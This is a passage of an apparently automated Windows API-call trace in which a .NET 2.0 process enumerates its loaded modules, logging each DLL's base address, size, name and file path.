GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75090000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0057.661] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75090000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0057.662] GetModuleInformation (in: hProcess=0x514, hModule=0x75b60000, lpmodinfo=0x2695cd8, cb=0xc | out: lpmodinfo=0x2695cd8*(lpBaseOfDll=0x75b60000, SizeOfImage=0x60000, EntryPoint=0x75b7158f)) returned 1 [0057.662] GetLastError () returned 0x2 [0057.662] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75b60000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0057.663] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75b60000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0057.663] GetModuleInformation (in: hProcess=0x514, hModule=0x75150000, lpmodinfo=0x2696dcc, cb=0xc | out: lpmodinfo=0x2696dcc*(lpBaseOfDll=0x75150000, SizeOfImage=0xcc000, EntryPoint=0x7515168b)) returned 1 [0057.663] GetLastError () returned 0x2 [0057.663] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75150000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0057.664] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75150000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0057.664] GetModuleInformation (in: hProcess=0x514, hModule=0x74a90000, lpmodinfo=0x2697ec0, cb=0xc | out: lpmodinfo=0x2697ec0*(lpBaseOfDll=0x74a90000, SizeOfImage=0x9000, EntryPoint=0x74a91220)) returned 1 [0057.664] GetLastError () returned 0x2 [0057.665] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74a90000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0057.665] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74a90000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0057.665] GetModuleInformation (in: hProcess=0x514, hModule=0x74000000, lpmodinfo=0x2698fbc, cb=0xc | out: lpmodinfo=0x2698fbc*(lpBaseOfDll=0x74000000, SizeOfImage=0x5ab000, EntryPoint=0x74053dc0)) returned 1 [0057.666] GetLastError () returned 0x2 [0057.666] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74000000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0057.666] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74000000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0057.667] GetModuleInformation (in: hProcess=0x514, hModule=0x749f0000, lpmodinfo=0x269a0f4, cb=0xc | out: lpmodinfo=0x269a0f4*(lpBaseOfDll=0x749f0000, SizeOfImage=0x9b000, EntryPoint=0x749f232b)) returned 1 [0057.667] GetLastError () returned 0x2 [0057.667] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x749f0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0057.668] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x749f0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0057.668] GetModuleInformation (in: hProcess=0x514, hModule=0x75fd0000, lpmodinfo=0x269b288, cb=0xc | out: lpmodinfo=0x269b288*(lpBaseOfDll=0x75fd0000, SizeOfImage=0xc4a000, EntryPoint=0x76051601)) returned 1 [0057.668] GetLastError () returned 0x2 [0057.668] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75fd0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0057.669] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75fd0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0057.669] GetModuleInformation (in: hProcess=0x514, hModule=0x755e0000, lpmodinfo=0x269c384, cb=0xc | out: lpmodinfo=0x269c384*(lpBaseOfDll=0x755e0000, SizeOfImage=0x15c000, EntryPoint=0x7562ba3d)) returned 1 [0057.670] GetLastError () returned 0x2 [0057.670] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x755e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0057.670] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x755e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0057.671] GetModuleInformation (in: hProcess=0x514, hModule=0x749e0000, lpmodinfo=0x269d478, cb=0xc | out: lpmodinfo=0x269d478*(lpBaseOfDll=0x749e0000, SizeOfImage=0xb000, EntryPoint=0x749e1992)) returned 1 [0057.671] GetLastError () returned 0x2 [0057.671] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x749e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0057.672] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x749e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0057.672] GetModuleInformation (in: hProcess=0x514, hModule=0x729c0000, lpmodinfo=0x269e574, cb=0xc | out: lpmodinfo=0x269e574*(lpBaseOfDll=0x729c0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0057.672] GetLastError () returned 0x2 [0057.673] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x729c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0057.673] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x729c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0057.674] GetModuleInformation (in: hProcess=0x514, hModule=0x745d0000, lpmodinfo=0x269f70c, cb=0xc | out: lpmodinfo=0x269f70c*(lpBaseOfDll=0x745d0000, SizeOfImage=0x80000, EntryPoint=0x745e37c9)) returned 1 [0057.674] GetLastError () returned 0x2 [0057.674] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x745d0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0057.674] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x745d0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0057.675] GetModuleInformation (in: hProcess=0x514, hModule=0x747d0000, lpmodinfo=0x26a0808, cb=0xc | out: lpmodinfo=0x26a0808*(lpBaseOfDll=0x747d0000, SizeOfImage=0x16000, EntryPoint=0x747d2dc3)) returned 1 [0057.675] GetLastError () returned 0x2 [0057.676] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x747d0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0057.676] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x747d0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0057.677] GetModuleInformation (in: hProcess=0x514, hModule=0x74790000, lpmodinfo=0x26a1904, cb=0xc | out: lpmodinfo=0x26a1904*(lpBaseOfDll=0x74790000, SizeOfImage=0x3b000, EntryPoint=0x7479128d)) returned 1 [0057.677] GetLastError () returned 0x2 [0057.677] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74790000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0057.678] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74790000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0057.678] GetModuleInformation (in: hProcess=0x514, hModule=0x74920000, lpmodinfo=0x26a2a00, cb=0xc | out: lpmodinfo=0x26a2a00*(lpBaseOfDll=0x74920000, SizeOfImage=0x5b000, EntryPoint=0x74964d48)) returned 1 [0057.679] GetLastError () returned 0x2 [0057.679] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74920000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0057.679] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74920000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0057.680] GetModuleInformation (in: hProcess=0x514, hModule=0x71a80000, lpmodinfo=0x26a3b38, cb=0xc | out: lpmodinfo=0x26a3b38*(lpBaseOfDll=0x71a80000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0057.680] GetLastError () returned 0x2 [0057.680] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x71a80000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0057.681] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x71a80000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0057.681] GetModuleInformation (in: hProcess=0x514, hModule=0x73e70000, lpmodinfo=0x26a4cc4, cb=0xc | out: lpmodinfo=0x26a4cc4*(lpBaseOfDll=0x73e70000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0057.682] GetLastError () returned 0x2 [0057.682] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73e70000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0057.682] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73e70000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0057.683] GetModuleInformation (in: hProcess=0x514, hModule=0x70ea0000, lpmodinfo=0x26a5e80, cb=0xc | out: lpmodinfo=0x26a5e80*(lpBaseOfDll=0x70ea0000, SizeOfImage=0xbde000, EntryPoint=0x0)) returned 1 [0057.684] GetLastError () returned 0x2 [0057.684] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x70ea0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0057.684] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x70ea0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.windows.forms\\3afcd5168c7a6cb02eab99d7fd71e102\\system.windows.forms.ni.dll")) returned 0x80 [0057.685] GetModuleInformation (in: hProcess=0x514, hModule=0x73cd0000, lpmodinfo=0x26a7170, cb=0xc | out: lpmodinfo=0x26a7170*(lpBaseOfDll=0x73cd0000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0057.685] GetLastError () returned 0x2 [0057.685] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73cd0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0057.686] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73cd0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0057.687] GetModuleInformation (in: hProcess=0x514, hModule=0x749c0000, lpmodinfo=0x26a8354, cb=0xc | out: lpmodinfo=0x26a8354*(lpBaseOfDll=0x749c0000, SizeOfImage=0x17000, EntryPoint=0x749c35fa)) returned 1 [0057.687] GetLastError () returned 0x2 [0057.687] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x749c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="bcrypt.dll") returned 0xa [0057.688] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x749c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")) returned 0x1e [0057.688] GetModuleInformation (in: hProcess=0x514, hModule=0x749b0000, lpmodinfo=0x26a9450, cb=0xc | out: lpmodinfo=0x26a9450*(lpBaseOfDll=0x749b0000, SizeOfImage=0xe000, EntryPoint=0x749b1235)) returned 1 [0057.689] GetLastError () returned 0x2 [0057.689] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x749b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="RpcRtRemote.dll") returned 0xf [0057.690] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x749b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")) returned 0x23 [0057.690] GetModuleInformation (in: hProcess=0x514, hModule=0x752b0000, lpmodinfo=0x26aa55c, cb=0xc | out: lpmodinfo=0x26aa55c*(lpBaseOfDll=0x752b0000, SizeOfImage=0x83000, EntryPoint=0x752b23d2)) returned 1 [0057.691] GetLastError () returned 0x2 [0057.691] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x752b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0057.692] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x752b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0057.692] GetModuleInformation (in: hProcess=0x514, hModule=0x75220000, lpmodinfo=0x26ab658, cb=0xc | out: lpmodinfo=0x26ab658*(lpBaseOfDll=0x75220000, SizeOfImage=0x8f000, EntryPoint=0x75223fb1)) returned 1 [0057.693] GetLastError () returned 0x2 [0057.693] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75220000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0057.693] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75220000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0057.694] GetModuleInformation (in: hProcess=0x514, hModule=0x748e0000, lpmodinfo=0x26ac75c, cb=0xc | out: lpmodinfo=0x26ac75c*(lpBaseOfDll=0x748e0000, SizeOfImage=0x31000, EntryPoint=0x748e12d7)) returned 1 [0057.695] GetLastError () returned 0x2 [0057.695] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x748e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemdisp.dll") returned 0xc [0057.696] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x748e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wbemdisp.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemdisp.dll")) returned 0x25 [0057.696] GetModuleInformation (in: hProcess=0x514, hModule=0x74880000, lpmodinfo=0x26ad868, cb=0xc | out: lpmodinfo=0x26ad868*(lpBaseOfDll=0x74880000, SizeOfImage=0x5c000, EntryPoint=0x748a2b48)) returned 1 [0057.697] GetLastError () returned 0x2 [0057.697] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74880000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemcomn.dll") returned 0xc [0057.698] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74880000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")) returned 0x20 [0057.698] GetModuleInformation (in: hProcess=0x514, hModule=0x75bc0000, lpmodinfo=0x26ae96c, cb=0xc | out: lpmodinfo=0x26ae96c*(lpBaseOfDll=0x75bc0000, SizeOfImage=0x35000, EntryPoint=0x75bc145d)) returned 1 [0057.699] GetLastError () returned 0x2 [0057.699] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75bc0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="WS2_32.dll") returned 0xa [0057.700] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75bc0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\WS2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll")) returned 0x1e [0057.700] GetModuleInformation (in: hProcess=0x514, hModule=0x74d30000, lpmodinfo=0x26afa68, cb=0xc | out: lpmodinfo=0x26afa68*(lpBaseOfDll=0x74d30000, SizeOfImage=0x6000, EntryPoint=0x74d31782)) returned 1 [0057.701] GetLastError () returned 0x2 [0057.701] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74d30000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="NSI.dll") returned 0x7 [0057.702] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74d30000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\NSI.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll")) returned 0x1b [0057.702] GetModuleInformation (in: hProcess=0x514, hModule=0x749a0000, lpmodinfo=0x26b0b54, cb=0xc | out: lpmodinfo=0x26b0b54*(lpBaseOfDll=0x749a0000, SizeOfImage=0xa000, EntryPoint=0x749a149a)) returned 1 [0057.703] GetLastError () returned 0x2 [0057.703] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x749a0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemprox.dll") returned 0xc [0057.704] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x749a0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")) returned 0x25 [0057.705] GetModuleInformation (in: hProcess=0x514, hModule=0x74980000, lpmodinfo=0x26b1c60, cb=0xc | out: lpmodinfo=0x26b1c60*(lpBaseOfDll=0x74980000, SizeOfImage=0x17000, EntryPoint=0x749876c5)) returned 1 [0057.705] GetLastError () returned 0x2 [0057.705] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74980000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wmiutils.dll") returned 0xc [0057.706] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74980000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll")) returned 0x25 [0057.707] GetModuleInformation (in: hProcess=0x514, hModule=0x74870000, lpmodinfo=0x26b2d6c, cb=0xc | out: lpmodinfo=0x26b2d6c*(lpBaseOfDll=0x74870000, SizeOfImage=0xf000, EntryPoint=0x748721a0)) returned 1 [0057.707] GetLastError () returned 0x2 [0057.707] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74870000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemsvc.dll") returned 0xb [0057.708] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74870000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")) returned 0x24 [0057.709] GetModuleInformation (in: hProcess=0x514, hModule=0x73c30000, lpmodinfo=0x26b3e74, cb=0xc | out: lpmodinfo=0x26b3e74*(lpBaseOfDll=0x73c30000, SizeOfImage=0x96000, EntryPoint=0x73c4f8b9)) returned 1 [0057.710] GetLastError () returned 0x2 [0057.710] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73c30000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="fastprox.dll") returned 0xc [0057.710] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73c30000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")) returned 0x25 [0057.711] GetModuleInformation (in: hProcess=0x514, hModule=0x74850000, lpmodinfo=0x26b4f80, cb=0xc | out: lpmodinfo=0x26b4f80*(lpBaseOfDll=0x74850000, SizeOfImage=0x18000, EntryPoint=0x74851335)) returned 1 [0057.712] GetLastError () returned 0x2 [0057.712] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74850000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="NTDSAPI.dll") returned 0xb [0057.713] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74850000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\NTDSAPI.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll")) returned 0x1f [0057.713] GetModuleInformation (in: hProcess=0x514, hModule=0x747f0000, lpmodinfo=0x26b607c, cb=0xc | out: lpmodinfo=0x26b607c*(lpBaseOfDll=0x747f0000, SizeOfImage=0x5f000, EntryPoint=0x747f2134)) returned 1 [0057.714] GetLastError () returned 0x2 [0057.714] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x747f0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="SXS.DLL") returned 0x7 [0057.715] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x747f0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\SXS.DLL" (normalized: "c:\\windows\\system32\\sxs.dll")) returned 0x1b [0057.716] GetModuleInformation (in: hProcess=0x514, hModule=0x74750000, lpmodinfo=0x26b7168, cb=0xc | out: lpmodinfo=0x26b7168*(lpBaseOfDll=0x74750000, SizeOfImage=0x3a000, EntryPoint=0x0)) returned 1 [0057.717] GetLastError () returned 0x2 [0057.717] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74750000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CustomMarshalers.ni.dll") returned 0x17 [0057.718] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74750000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\CustomMarshalers\\bf7e7494e75e32979c7824a07570a8a9\\CustomMarshalers.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\custommarshalers\\bf7e7494e75e32979c7824a07570a8a9\\custommarshalers.ni.dll")) returned 0x78 [0057.718] GetModuleInformation (in: hProcess=0x514, hModule=0x60350000, lpmodinfo=0x26b8330, cb=0xc | out: lpmodinfo=0x26b8330*(lpBaseOfDll=0x60350000, SizeOfImage=0x15000, EntryPoint=0x603547b6)) returned 1 [0057.719] GetLastError () returned 0x2 [0057.719] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x60350000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CustomMarshalers.dll") returned 0x14 [0057.720] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x60350000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\GAC_32\\CustomMarshalers\\2.0.0.0__b03f5f7f11d50a3a\\CustomMarshalers.dll" (normalized: "c:\\windows\\assembly\\gac_32\\custommarshalers\\2.0.0.0__b03f5f7f11d50a3a\\custommarshalers.dll")) returned 0x5a [0057.721] GetModuleInformation (in: hProcess=0x514, hModule=0x73b20000, lpmodinfo=0x26b94b8, cb=0xc | out: lpmodinfo=0x26b94b8*(lpBaseOfDll=0x73b20000, SizeOfImage=0x104000, EntryPoint=0x0)) returned 1 [0057.722] GetLastError () returned 0x2 [0057.722] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73b20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Management.ni.dll") returned 0x18 [0057.722] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73b20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\system.management.ni.dll")) returned 0x7a [0057.723] GetModuleInformation (in: hProcess=0x514, hModule=0x6a310000, lpmodinfo=0x26ba688, cb=0xc | out: lpmodinfo=0x26ba688*(lpBaseOfDll=0x6a310000, SizeOfImage=0x9000, EntryPoint=0x6a31389b)) returned 1 [0057.724] GetLastError () returned 0x2 [0057.724] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x6a310000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wminet_utils.dll") returned 0x10 [0057.725] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x6a310000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\wminet_utils.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\wminet_utils.dll")) returned 0x3e [0057.726] GetModuleInformation (in: hProcess=0x514, hModule=0x745b0000, lpmodinfo=0x26bb7d0, cb=0xc | out: lpmodinfo=0x26bb7d0*(lpBaseOfDll=0x745b0000, SizeOfImage=0x13000, EntryPoint=0x745b1d3f)) returned 1 [0057.727] GetLastError () returned 0x2 [0057.727] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x745b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0057.727] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x745b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0057.728] GetModuleInformation (in: hProcess=0x514, hModule=0x73a20000, lpmodinfo=0x26bc8cc, cb=0xc | out: lpmodinfo=0x26bc8cc*(lpBaseOfDll=0x73a20000, SizeOfImage=0xf1000, EntryPoint=0x0)) returned 1 [0057.729] GetLastError () returned 0x2 [0057.729] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73a20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Configuration.ni.dll") returned 0x1b [0057.730] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73a20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.configuration\\bc09ad2d49d8535371845cd7532f9271\\system.configuration.ni.dll")) returned 0x80 [0057.731] GetModuleInformation (in: hProcess=0x514, hModule=0x72480000, lpmodinfo=0x26bdaac, cb=0xc | out: lpmodinfo=0x26bdaac*(lpBaseOfDll=0x72480000, SizeOfImage=0x536000, EntryPoint=0x0)) returned 1 [0057.732] GetLastError () returned 0x2 [0057.732] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x72480000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Xml.ni.dll") returned 0x11 [0057.733] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x72480000, lpFilename=0x787820, nSize=0x800 | out: 